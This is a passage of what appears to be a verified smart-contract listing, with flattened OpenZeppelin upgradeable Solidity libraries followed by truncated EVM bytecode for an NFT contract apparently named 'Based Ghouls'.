// The easiest way to bubble the revert reason is using memory via assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (utils/Context.sol) pragma solidity ^0.8.0; import "../proxy/utils/Initializable.sol"; /** * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. */ abstract contract ContextUpgradeable is Initializable { function __Context_init() internal onlyInitializing { } function __Context_init_unchained() internal onlyInitializing { } function _msgSender() internal view virtual returns (address) { return msg.sender; } function _msgData() internal view virtual returns (bytes calldata) { return msg.data; } /** * @dev This empty reserved space is put in place to allow future versions to add new * variables without shifting down storage in the inheritance chain. * See https://docs.openzeppelin.com/contracts/4.x/upgradeable#storage_gaps */ uint256[50] private __gap; } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (utils/introspection/ERC165.sol) pragma solidity ^0.8.0; import "./IERC165Upgradeable.sol"; import "../../proxy/utils/Initializable.sol"; /** * @dev Implementation of the {IERC165} interface. * * Contracts that want to implement ERC165 should inherit from this contract and override {supportsInterface} to check * for the additional interface id that will be supported. For example: * * ```solidity * function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) { * return interfaceId == type(MyInterface).interfaceId || super.supportsInterface(interfaceId); * } * ``` * * Alternatively, {ERC165Storage} provides an easier to use but more expensive implementation. */ abstract contract ERC165Upgradeable is Initializable, IERC165Upgradeable { function __ERC165_init() internal onlyInitializing { } function __ERC165_init_unchained() internal onlyInitializing { } /** * @dev See {IERC165-supportsInterface}. */ function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) { return interfaceId == type(IERC165Upgradeable).interfaceId; } /** * @dev This empty reserved space is put in place to allow future versions to add new * variables without shifting down storage in the inheritance chain. * See https://docs.openzeppelin.com/contracts/4.x/upgradeable#storage_gaps */ uint256[50] private __gap; } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts (last updated v4.5.0) (proxy/utils/Initializable.sol) pragma solidity ^0.8.0; import "../../utils/AddressUpgradeable.sol"; /** * @dev This is a base contract to aid in writing upgradeable contracts, or any kind of contract that will be deployed * behind a proxy. Since proxied contracts do not make use of a constructor, it's common to move constructor logic to an * external initializer function, usually called `initialize`. It then becomes necessary to protect this initializer * function so it can only be called once. The {initializer} modifier provided by this contract will have this effect. * * TIP: To avoid leaving the proxy in an uninitialized state, the initializer function should be called as early as * possible by providing the encoded function call as the `_data` argument to {ERC1967Proxy-constructor}. * * CAUTION: When used with inheritance, manual care must be taken to not invoke a parent initializer twice, or to ensure * that all initializers are idempotent. This is not verified automatically as constructors are by Solidity. * * [CAUTION] * ==== * Avoid leaving a contract uninitialized. * * An uninitialized contract can be taken over by an attacker. This applies to both a proxy and its implementation * contract, which may impact the proxy. To initialize the implementation contract, you can either invoke the * initializer manually, or you can include a constructor to automatically mark it as initialized when it is deployed: * * [.hljs-theme-light.nopadding] * ``` * /// @custom:oz-upgrades-unsafe-allow constructor * constructor() initializer {} * ``` * ==== */ abstract contract Initializable { /** * @dev Indicates that the contract has been initialized. */ bool private _initialized; /** * @dev Indicates that the contract is in the process of being initialized. */ bool private _initializing; /** * @dev Modifier to protect an initializer function from being invoked twice. */ modifier initializer() { // If the contract is initializing we ignore whether _initialized is set in order to support multiple // inheritance patterns, but we only do this in the context of a constructor, because in other contexts the // contract may have been reentered. require(_initializing ? _isConstructor() : !_initialized, "Initializable: contract is already initialized"); bool isTopLevelCall = !_initializing; if (isTopLevelCall) { _initializing = true; _initialized = true; } _; if (isTopLevelCall) { _initializing = false; } } /** * @dev Modifier to protect an initialization function so that it can only be invoked by functions with the * {initializer} modifier, directly or indirectly. */ modifier onlyInitializing() { require(_initializing, "Initializable: contract is not initializing"); _; } function _isConstructor() private view returns (bool) { return !AddressUpgradeable.isContract(address(this)); } } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (utils/introspection/IERC165.sol) pragma solidity ^0.8.0; /** * @dev Interface of the ERC165 standard, as defined in the * https://eips.ethereum.org/EIPS/eip-165[EIP]. * * Implementers can declare support of contract interfaces, which can then be * queried by others ({ERC165Checker}). * * For an implementation, see {ERC165}. */ interface IERC165Upgradeable { /** * @dev Returns true if this contract implements the interface defined by * `interfaceId`. See the corresponding * https://eips.ethereum.org/EIPS/eip-165#how-interfaces-are-identified[EIP section] * to learn more about how these ids are created. * * This function call must use less than 30 000 gas. */ function supportsInterface(bytes4 interfaceId) external view returns (bool); } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts (last updated v4.5.0) (interfaces/IERC2981.sol) pragma solidity ^0.8.0; import "../utils/introspection/IERC165Upgradeable.sol"; /** * @dev Interface for the NFT Royalty Standard. * * A standardized way to retrieve royalty payment information for non-fungible tokens (NFTs) to enable universal * support for royalty payments across all NFT marketplaces and ecosystem participants. * * _Available since v4.5._ */ interface IERC2981Upgradeable is IERC165Upgradeable { /** * @dev Returns how much royalty is owed and to whom, based on a sale price that may be denominated in any unit of * exchange. The royalty amount is denominated and should be payed in that same unit of exchange. */ function royaltyInfo(uint256 tokenId, uint256 salePrice) external view returns (address receiver, uint256 royaltyAmount); } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (access/IAccessControl.sol) pragma solidity ^0.8.0; /** * @dev External interface of AccessControl declared to support ERC165 detection. */ interface IAccessControlUpgradeable { /** * @dev Emitted when `newAdminRole` is set as ``role``'s admin role, replacing `previousAdminRole` * * `DEFAULT_ADMIN_ROLE` is the starting admin for all roles, despite * {RoleAdminChanged} not being emitted signaling this. * * _Available since v3.1._ */ event RoleAdminChanged(bytes32 indexed role, bytes32 indexed previousAdminRole, bytes32 indexed newAdminRole); /** * @dev Emitted when `account` is granted `role`. * * `sender` is the account that originated the contract call, an admin role * bearer except when using {AccessControl-_setupRole}. */ event RoleGranted(bytes32 indexed role, address indexed account, address indexed sender); /** * @dev Emitted when `account` is revoked `role`. * * `sender` is the account that originated the contract call: * - if using `revokeRole`, it is the admin role bearer * - if using `renounceRole`, it is the role bearer (i.e. `account`) */ event RoleRevoked(bytes32 indexed role, address indexed account, address indexed sender); /** * @dev Returns `true` if `account` has been granted `role`. */ function hasRole(bytes32 role, address account) external view returns (bool); /** * @dev Returns the admin role that controls `role`. See {grantRole} and * {revokeRole}. * * To change a role's admin, use {AccessControl-_setRoleAdmin}. */ function getRoleAdmin(bytes32 role) external view returns (bytes32); /** * @dev Grants `role` to `account`. * * If `account` had not been already granted `role`, emits a {RoleGranted} * event. * * Requirements: * * - the caller must have ``role``'s admin role. */ function grantRole(bytes32 role, address account) external; /** * @dev Revokes `role` from `account`. * * If `account` had been granted `role`, emits a {RoleRevoked} event. * * Requirements: * * - the caller must have ``role``'s admin role. */ function revokeRole(bytes32 role, address account) external; /** * @dev Revokes `role` from the calling account. * * Roles are often managed via {grantRole} and {revokeRole}: this function's * purpose is to provide a mechanism for accounts to lose their privileges * if they are compromised (such as when a trusted device is misplaced). * * If the calling account had been granted `role`, emits a {RoleRevoked} * event. * * Requirements: * * - the caller must be `account`. */ function renounceRole(bytes32 role, address account) external; }
0x608060405234801561001057600080fd5b50600436106102745760003560e01c80638129fc1c11610151578063b344abae116100c3578063e90bd87711610087578063e90bd8771461079c578063e985e9c5146107ba578063eb4e7326146107ea578063edb3535e14610806578063f431919514610824578063f8b16cfb1461084257610274565b8063b344abae146106fa578063b88d4fde14610718578063c87b56dd14610734578063d547741f14610764578063e5ef873d1461078057610274565b80639f2063da116101155780639f2063da14610624578063a217fddf14610642578063a22cb46514610660578063a4650a141461067c578063a57a806f146106ac578063aa11f848146106ca57610274565b80638129fc1c1461059257806381cb97731461059c57806391d14854146105ba578063931688cb146105ea57806395d89b411461060657610274565b806337f39d34116101ea57806359ea929f116101ae57806359ea929f146104965780636352211e146104c65780636c0360eb146104f65780637035bf181461051457806370a0823114610532578063777c90911461056257610274565b806337f39d341461040457806342842e0e1461042257806346b45af71461043e5780634e429f131461045c57806351640ed11461047857610274565b806318160ddd1161023c57806318160ddd1461033157806323b872dd1461034f578063248a9ca31461036b5780632a55205a1461039b5780632f2ff15d146103cc57806336568abe146103e857610274565b806301ffc9a714610279578063031bd4c4146102a957806306fdde03146102c7578063081812fc146102e5578063095ea7b314610315575b600080fd5b610293600480360381019061028e91906146c1565b610872565b6040516102a09190614e29565b60405180910390f35b6102b1610a24565b6040516102be91906151bc565b60405180910390f35b6102cf610a2a565b6040516102dc9190614e5f565b60405180910390f35b6102ff60048036038101906102fa9190614758565b610abc565b60405161030c9190614d99565b60405180910390f35b61032f600480360381019061032a919061459f565b610b41565b005b610339610c59565b60405161034691906151a1565b60405180910390f35b61036960048036038101906103649190614499565b610c6d565b005b6103856004803603810190610380919061465c565b610ccd565b6040516103929190614e44565b60405180910390f35b6103b560048036038101906103b09190614781565b610ced565b6040516103c3929190614e00565b60405180910390f35b6103e660048036038101906103e19190614685565b610ed8565b005b61040260048036038101906103fd9190614685565b610f01565b005b61040c610f84565b6040516104199190614e29565b60405180910390f35b61043c60048036038101906104379190614499565b610f98565b005b610446610fb8565b6040516104539190614e29565b60405180910390f35b61047660048036038101906104719190614633565b610fcb565b005b610480610ffe565b60405161048d91906151a1565b60405180910390f35b6104b060048036038101906104ab9190614434565b611012565b6040516104bd9190614e29565b60405180910390f35b6104e060048036038101906104db9190614758565b611032565b6040516104ed9190614d99565b60405180910390f35b6104fe6110e4565b60405161050b9190614e5f565b60405180910390f35b61051c611173565b6040516105299190614e5f565b60405180910390f35b61054c60048036038101906105479190614434565b611202565b60405161055991906151bc565b60405180910390f35b61057c60048036038101906105779190614758565b6112ba565b60405161058991906151bc565b60405180910390f35b61059a6112d2565b005b6105a46115ad565b6040516105b191906151a1565b60405180910390f35b6105d460048036038101906105cf9190614685565b6115c1565b6040516105e19190614e29565b60405180910390f35b61060460048036038101906105ff9190614713565b61162c565b005b61060e611659565b60405161061b9190614e5f565b60405180910390f35b61062c6116eb565b60405161063991906151bc565b60405180910390f35b61064a6116f0565b6040516106579190614e44565b60405180910390f35b61067a60048036038101906106759190614563565b6116f7565b005b61069660048036038101906106919190614633565b61170d565b6040516106a39190614e29565b60405180910390f35b6106b4611758565b6040516106c191906151a1565b60405180910390f35b6106e460048036038101906106df9190614434565b61176c565b6040516106f19190614e29565b60405180910390f35b61070261178c565b60405161070f9190614e44565b60405180910390f35b610732600480360381019061072d91906144e8565b611793565b005b61074e60048036038101906107499190614758565b6117f5565b60405161075b9190614e5f565b60405180910390f35b61077e60048036038101906107799190614685565b6118cf565b005b61079a60048036038101906107959190614713565b6118f8565b005b6107a4611925565b6040516107b191906151a1565b60405180910390f35b6107d460048036038101906107cf919061445d565b611939565b6040516107e19190614e29565b60405180910390f35b61080460048036038101906107ff91906145db565b6119cd565b005b61080e6123ad565b60405161081b9190614e44565b60405180910390f35b61082c6123b4565b60405161083991906151bc565b60405180910390f35b61085c6004803603810190610857919061465c565b6123ba565b6040516108699190614e44565b60405180910390f35b60007f80ac58cd000000000000000000000000000000000000000000000000000000007bffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916827bffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916148061093d57507f5b5e139f000000000000000000000000000000000000000000000000000000007bffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916827bffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916145b806109a557507f7965db0b000000000000000000000000000000000000000000000000000000007bffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916827bffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916145b80610a0d57507f2a55205a000000000000000000000000000000000000000000000000000000007bffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916827bffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916145b80610a1d5750610a1c826123e5565b5b9050919050565b611a0a81565b606060658054610a3990615613565b80601f0160208091040260200160405190810160405280929190818152602001828054610a6590615613565b8015610ab25780601f10610a8757610100808354040283529160200191610ab2565b820191906000526020600020905b815481529060010190602001808311610a9557829003601f168201915b5050505050905090565b6000610ac78261245f565b610b06576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610afd90615081565b60405180910390fd5b6069600083815260200190815260200160002060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff169050919050565b6000610b4c82611032565b90508073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415610bbd576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610bb4906150e1565b60405180910390fd5b8073ffffffffffffffffffffffffffffffffffffffff16610bdc6124cb565b73ffffffffffffffffffffffffffffffffffffffff161480610c0b5750610c0a81610c056124cb565b611939565b5b610c4a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c4190614fa1565b60405180910390fd5b610c5483836124d3565b505050565b60ff60019054906101000a900461ffff1681565b610c7e610c786124cb565b8261258c565b610cbd576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610cb490615101565b60405180910390fd5b610cc883838361266a565b505050565b600060c96000838152602001908152602001600020600101549050919050565b6000806000609860008681526020019081526020016000206040518060400160405290816000820160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020016000820160149054906101000a90046bffffffffffffffffffffffff166bffffffffffffffffffffffff166bffffffffffffffffffffffff16815250509050600073ffffffffffffffffffffffffffffffffffffffff16816000015173ffffffffffffffffffffffffffffffffffffffff161415610e835760976040518060400160405290816000820160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020016000820160149054906101000a90046bffffffffffffffffffffffff166bffffffffffffffffffffffff166bffffffffffffffffffffffff168152505090505b6000610e8d6128d1565b6bffffffffffffffffffffffff1682602001516bffffffffffffffffffffffff1686610eb991906153c8565b610ec39190615397565b90508160000151819350935050509250929050565b610ee182610ccd565b610ef281610eed6124cb565b6128db565b610efc8383612978565b505050565b610f096124cb565b73ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614610f76576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f6d90615181565b60405180910390fd5b610f808282612a59565b5050565b61010460009054906101000a900460ff1681565b610fb383838360405180602001604052806000815250611793565b505050565b60ff60009054906101000a900460ff1681565b6000801b610fe081610fdb6124cb565b6128db565b8160ff60006101000a81548160ff0219169083151502179055505050565b60ff60099054906101000a900461ffff1681565b60fd6020528060005260406000206000915054906101000a900460ff1681565b6000806067600084815260200190815260200160002060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff169050600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614156110db576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016110d290615001565b60405180910390fd5b80915050919050565b61010080546110f290615613565b80601f016020809104026020016040519081016040528092919081815260200182805461111e90615613565b801561116b5780601f106111405761010080835404028352916020019161116b565b820191906000526020600020905b81548152906001019060200180831161114e57829003601f168201915b505050505081565b610101805461118190615613565b80601f01602080910402602001604051908101604052809291908181526020018280546111ad90615613565b80156111fa5780601f106111cf576101008083540402835291602001916111fa565b820191906000526020600020905b8154815290600101906020018083116111dd57829003601f168201915b505050505081565b60008073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611273576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161126a90614fc1565b60405180910390fd5b606860008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b60fb6020528060005260406000206000915090505481565b600060019054906101000a900460ff166112fa5760008054906101000a900460ff1615611303565b611302612b3b565b5b611342576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161133990615021565b60405180910390fd5b60008060019054906101000a900460ff161590508015611392576001600060016101000a81548160ff02191690831515021790555060016000806101000a81548160ff0219169083151502179055505b6114066040518060400160405280600c81526020017f42617365642047686f756c7300000000000000000000000000000000000000008152506040518060400160405280600481526020017f47484c5300000000000000000000000000000000000000000000000000000000815250612b4c565b611a0a60ff60036101000a81548161ffff021916908361ffff16021790555061036660ff60096101000a81548161ffff021916908361ffff160217905550604051806060016040528060278152602001615ef2602791396101009080519060200190611473929190614143565b506040518060600160405280603e8152602001615f19603e913961010190805190602001906114a3929190614143565b507feaad81dc1fbbd6832eacc1a6445f0220959cd68597f0e7a6b1270b2bb16cf31d60001b610102819055507f96b5de66f7385e7ecc21f6a51bce0f5fa347f5210ac6883f09d88b824b70c80660001b61010381905550600060fc81905550600060ff60006101000a81548160ff021916908315150217905550600060ff60016101000a81548161ffff021916908361ffff16021790555061155b73475dcaa08a69fa462790f42db4d3bba1563cb4746102b2612ba9565b6115686000801b33612d3f565b6115896000801b7398ccf605c43a0bf9d6795c3cf3b5fed836330511610ed8565b80156115aa5760008060016101000a81548160ff0219169083151502179055505b50565b60ff60059054906101000a900461ffff1681565b600060c9600084815260200190815260200160002060000160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16905092915050565b6000801b6116418161163c6124cb565b6128db565b828261010091906116539291906141c9565b50505050565b60606066805461166890615613565b80601f016020809104026020016040519081016040528092919081815260200182805461169490615613565b80156116e15780601f106116b6576101008083540402835291602001916116e1565b820191906000526020600020905b8154815290600101906020018083116116c457829003601f168201915b5050505050905090565b604281565b6000801b81565b6117096117026124cb565b8383612d4d565b5050565b60008060001b6117248161171f6124cb565b6128db565b8261010460006101000a81548160ff02191690831515021790555061010460009054906101000a900460ff16915050919050565b60ff60039054906101000a900461ffff1681565b60fe6020528060005260406000206000915054906101000a900460ff1681565b6101025481565b6117a461179e6124cb565b8361258c565b6117e3576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016117da90615101565b60405180910390fd5b6117ef84848484612eba565b50505050565b606060fc54821061189357610101805461180e90615613565b80601f016020809104026020016040519081016040528092919081815260200182805461183a90615613565b80156118875780601f1061185c57610100808354040283529160200191611887565b820191906000526020600020905b81548152906001019060200180831161186a57829003601f168201915b505050505090506118ca565b6101006118a76118a284612f16565b612f78565b6040516020016118b8929190614d30565b60405160208183030381529060405290505b919050565b6118d882610ccd565b6118e9816118e46124cb565b6128db565b6118f38383612a59565b505050565b6000801b61190d816119086124cb565b6128db565b8282610101919061191f9291906141c9565b50505050565b60ff60079054906101000a900461ffff1681565b6000606a60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16905092915050565b60ff60009054906101000a900460ff16611a1c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611a1390615041565b60405180910390fd5b60ff60039054906101000a900461ffff1661ffff1660ff60019054906101000a900461ffff1661ffff1610611a86576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611a7d906150a1565b60405180910390fd5b60003390503373ffffffffffffffffffffffffffffffffffffffff163273ffffffffffffffffffffffffffffffffffffffff1614611af9576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611af0906150c1565b60405180910390fd5b8115611ef25760fe60008273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615611b8c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611b8390614f01565b60405180910390fd5b60fd60008273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615611c19576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611c1090614f01565b60405180910390fd5b60ff60099054906101000a900461ffff1661ffff16600360ff60079054906101000a900461ffff16611c4b9190615309565b61ffff161115611c90576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611c8790614fe1565b60405180910390fd5b600081604051602001611ca39190614d15565b6040516020818303038152906040528051906020012090506000611d0c868680806020026020016040519081016040528093929190818152602001838360200280828437600081840152601f19601f820116905080830192505050505050506101035484613125565b905080611d4e576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611d4590614f61565b60405180910390fd5b600160fe60008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550600160fd60008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550600360ff60019054906101000a900461ffff16611e1b9190615309565b60ff60016101000a81548161ffff021916908361ffff160217905550600360ff60078282829054906101000a900461ffff16611e579190615309565b92506101000a81548161ffff021916908361ffff160217905550611e9b83600360ff60019054906101000a900461ffff16611e9291906154a6565b61ffff1661313c565b611ec583600260ff60019054906101000a900461ffff16611ebc91906154a6565b61ffff1661313c565b611eef83600160ff60019054906101000a900461ffff16611ee691906154a6565b61ffff1661313c565b50505b61010460009054906101000a900460ff16158015611f0e575081155b156121e85760fd60008273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615611fa0576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611f9790614f01565b60405180910390fd5b60ff60039054906101000a900461ffff1661ffff1660ff60099054906101000a900461ffff16600160ff60059054906101000a900461ffff16611fe39190615309565b611fed9190615309565b61ffff161115612032576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161202990614fe1565b60405180910390fd5b6000816040516020016120459190614d15565b60405160208183030381529060405280519060200120905060006120ae868680806020026020016040519081016040528093929190818152602001838360200280828437600081840152601f19601f820116905080830192505050505050506101025484613125565b9050806120f0576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016120e790614f61565b60405180910390fd5b600160fd60008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550600160ff60019054906101000a900461ffff166121659190615309565b60ff60016101000a81548161ffff021916908361ffff160217905550600160ff60058282829054906101000a900461ffff166121a19190615309565b92506101000a81548161ffff021916908361ffff1602179055506121e583600160ff60019054906101000a900461ffff166121dc91906154a6565b61ffff1661313c565b50505b61010460009054906101000a900460ff161561232e5760ff60039054906101000a900461ffff1661ffff1660ff60099054906101000a900461ffff16600160ff60059054906101000a900461ffff166122419190615309565b61224b9190615309565b61ffff161115612290576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161228790614fe1565b60405180910390fd5b600160ff60058282829054906101000a900461ffff166122b09190615309565b92506101000a81548161ffff021916908361ffff160217905550600160ff60019054906101000a900461ffff166122e79190615309565b60ff60016101000a81548161ffff021916908361ffff16021790555061232d81600160ff60019054906101000a900461ffff1661232491906154a6565b61ffff1661313c565b5b604260fc5461233d9190615341565b60ff60019054906101000a900461ffff1661ffff16106123a757600060454281612390577f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b06604543034060001c0290506123a581613316565b505b50505050565b6101035481565b60fc5481565b60008060001b6123d1816123cc6124cb565b6128db565b826101028190555061010254915050919050565b60007f7965db0b000000000000000000000000000000000000000000000000000000007bffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916827bffffffffffffffffffffffffffffffffffffffffffffffffffffffff191614806124585750612457826133a5565b5b9050919050565b60008073ffffffffffffffffffffffffffffffffffffffff166067600084815260200190815260200160002060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614159050919050565b600033905090565b816069600083815260200190815260200160002060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550808273ffffffffffffffffffffffffffffffffffffffff1661254683611032565b73ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92560405160405180910390a45050565b60006125978261245f565b6125d6576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016125cd90614f81565b60405180910390fd5b60006125e183611032565b90508073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff16148061265057508373ffffffffffffffffffffffffffffffffffffffff1661263884610abc565b73ffffffffffffffffffffffffffffffffffffffff16145b8061266157506126608185611939565b5b91505092915050565b8273ffffffffffffffffffffffffffffffffffffffff1661268a82611032565b73ffffffffffffffffffffffffffffffffffffffff16146126e0576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016126d790614ec1565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415612750576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161274790614f21565b60405180910390fd5b61275b83838361341f565b6127666000826124d3565b6001606860008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282546127b691906154da565b925050819055506001606860008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825461280d9190615341565b92505081905550816067600083815260200190815260200160002060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550808273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef60405160405180910390a46128cc838383613424565b505050565b6000612710905090565b6128e582826115c1565b6129745761290a8173ffffffffffffffffffffffffffffffffffffffff166014613429565b6129188360001c6020613429565b604051602001612929929190614d5f565b6040516020818303038152906040526040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161296b9190614e5f565b60405180910390fd5b5050565b61298282826115c1565b612a5557600160c9600084815260200190815260200160002060000160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506129fa6124cb565b73ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff16837f2f8788117e7eff1d82e926ec794901d17c78024a50270940304540a733656f0d60405160405180910390a45b5050565b612a6382826115c1565b15612b3757600060c9600084815260200190815260200160002060000160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550612adc6124cb565b73ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff16837ff6391f5c32d9c69d2a47ea670b442974b53935d1edc7fd64eb21e047a839171b60405160405180910390a45b5050565b6000612b4630613723565b15905090565b600060019054906101000a900460ff16612b9b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612b9290615121565b60405180910390fd5b612ba58282613746565b5050565b612bb16128d1565b6bffffffffffffffffffffffff16816bffffffffffffffffffffffff161115612c0f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612c0690615141565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415612c7f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612c7690615161565b60405180910390fd5b60405180604001604052808373ffffffffffffffffffffffffffffffffffffffff168152602001826bffffffffffffffffffffffff16815250609760008201518160000160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555060208201518160000160146101000a8154816bffffffffffffffffffffffff02191690836bffffffffffffffffffffffff1602179055509050505050565b612d498282612978565b5050565b8173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415612dbc576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612db390614f41565b60405180910390fd5b80606a60008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f17307eab39ab6107e8899845ad3d59bd9653f200f220920489ca2b5937696c3183604051612ead9190614e29565b60405180910390a3505050565b612ec584848461266a565b612ed1848484846137c7565b612f10576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612f0790614ea1565b60405180910390fd5b50505050565b600080604283612f269190615397565b90506000612f338261395e565b9050600060fb600084815260200190815260200160002054604286612f5891906156e3565b612f629190615341565b9050612f6e81836139da565b9350505050919050565b60606000821415612fc0576040518060400160405280600181526020017f30000000000000000000000000000000000000000000000000000000000000008152509050613120565b600082905060005b60008214612ff2578080612fdb90615676565b915050600a82612feb9190615397565b9150612fc8565b60008167ffffffffffffffff811115613034577f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b6040519080825280601f01601f1916602001820160405280156130665781602001600182028036833780820191505090505b5090505b600085146131195760018261307f91906154da565b9150600a8561308e91906156e3565b603061309a9190615341565b60f81b8183815181106130d6577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b60200101907effffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916908160001a905350600a856131129190615397565b945061306a565b8093505050505b919050565b6000826131328584613bad565b1490509392505050565b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614156131ac576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016131a390615061565b60405180910390fd5b6131b58161245f565b156131f5576040517f08c379a00000000000000000000000000000